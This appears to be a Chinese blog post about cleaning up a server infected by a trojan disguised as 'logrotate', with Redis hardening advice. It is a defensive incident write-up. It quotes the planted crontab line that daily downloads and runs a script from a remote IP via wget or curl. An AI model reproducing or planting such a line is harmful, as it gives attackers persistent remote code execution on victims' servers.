记录服务器被(logrotate)木马入侵事件

背景:发现平时正常登录的服务器突然进不去,也没明显的错误,重启也登录不了!

可能的原因,内存/CPU满了

重启通过用户模式进入,查看进程发现有个定时任务一直在自动创建并执行(进程ID一直在变化,而且占满CPU,杀死之后马上又复活了,重启也一样),怀疑被入侵了

木马文件:

全局查找,防止遗漏,点开查看确认二次确认确实是木马文件才清理

列出已知木马文件:

find /  -name 'logrotate'

根据病毒关键词搜素其他木马文件

find /etc | xargs grep -ri "185.196.8.123"

异常计划:

解决办法:

1 重装系统

2 手动清除异常文件(直到异常进程不在出现)

查看系统级的 cron 计划任务
        /etc/crontab 文件包含了系统的 cron 任务定义。
        /etc/cron.d 目录可能包含额外的 cron 配置文件。
        /etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly, 和 /etc/cron.monthly 目录分别包含每小时、每天、每周和每月执行的脚本。

定位 /etc/crontab 是这个文件被植入了 @daily source <(wget -q -O - http://185.196.8.123/logservice.sh || curl -sL http://185.196.8.123/logservice.sh) 但是提示 是readonly 没法删除

执行 lsattr 加文件名看下是否有隐藏权限,并解除 chattr -i 加文件名

清除木马程序和所有crontab 异常计划后,重置服务器密码,重启服务器

后面反馈运营商排查入侵原因,可能是通过 redis 默认端口或者nacos 漏洞

更改reids 默认端口和密码,升级nacos,然后我们的业务不需要用到境外IP,所以干脆就直接禁用境外IP

Redis默认配置下可能存在一些安全风险,使得它容易成为攻击目标。以下是Redis可能遭受入侵的一些主要原因:

  1. 默认无密码认证: Redis在默认配置下是不启用密码认证的,这意味着任何能够访问Redis服务器IP和端口的客户端都可以无限制地读取和操作数据。
  2. 默认监听所有网络接口: Redis默认配置下会监听所有的网络接口(bind 0.0.0.0),这意味着如果Redis服务器暴露在公网上,任何互联网上的主机都可以尝试连接到Redis服务。
  3. 使用默认端口: Redis的默认端口是6379,这是一个众所周知的端口,攻击者会专门扫描这个端口寻找未保护的Redis实例。
  4. 远程命令执行: Redis允许执行各种管理命令,如FLUSHALL(清除所有数据)、CONFIG GET和CONFIG SET(获取和设置配置项)。如果Redis暴露在公网并且没有密码保护,攻击者可以利用这些命令执行恶意操作,比如清空数据、更改配置,甚至通过EVAL命令注入Lua脚本来执行任意代码。
  5. 未授权访问: 如果Redis服务没有正确配置防火墙规则,未授权的用户可能会访问Redis服务,进而读取敏感数据或修改数据。
  6. 弱密码或密码泄露: 即使设置了密码,如果密码强度不够或被泄露,攻击者仍然可能通过暴力破解或已知密码列表来获得访问权限。

为了避免Redis遭受入侵,开发者应当采取一系列的安全措施,包括但不限于:

  • 设置强密码:为Redis配置一个复杂的密码,限制未授权的访问。
  • 更改默认端口:避免使用默认的6379端口,减少被扫描的机会。
  • 限制网络访问:通过防火墙规则限制Redis只能被可信的IP地址访问,避免暴露在公网。
  • 禁用危险命令:在配置文件中禁用或限制EVAL、CONFIG等可能被滥用的命令。
  • 使用TLS/SSL加密:对Redis通信进行加密,防止数据在传输过程中被截获。

通过这些措施,可以显著提高Redis的安全性,降低被入侵的风险。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值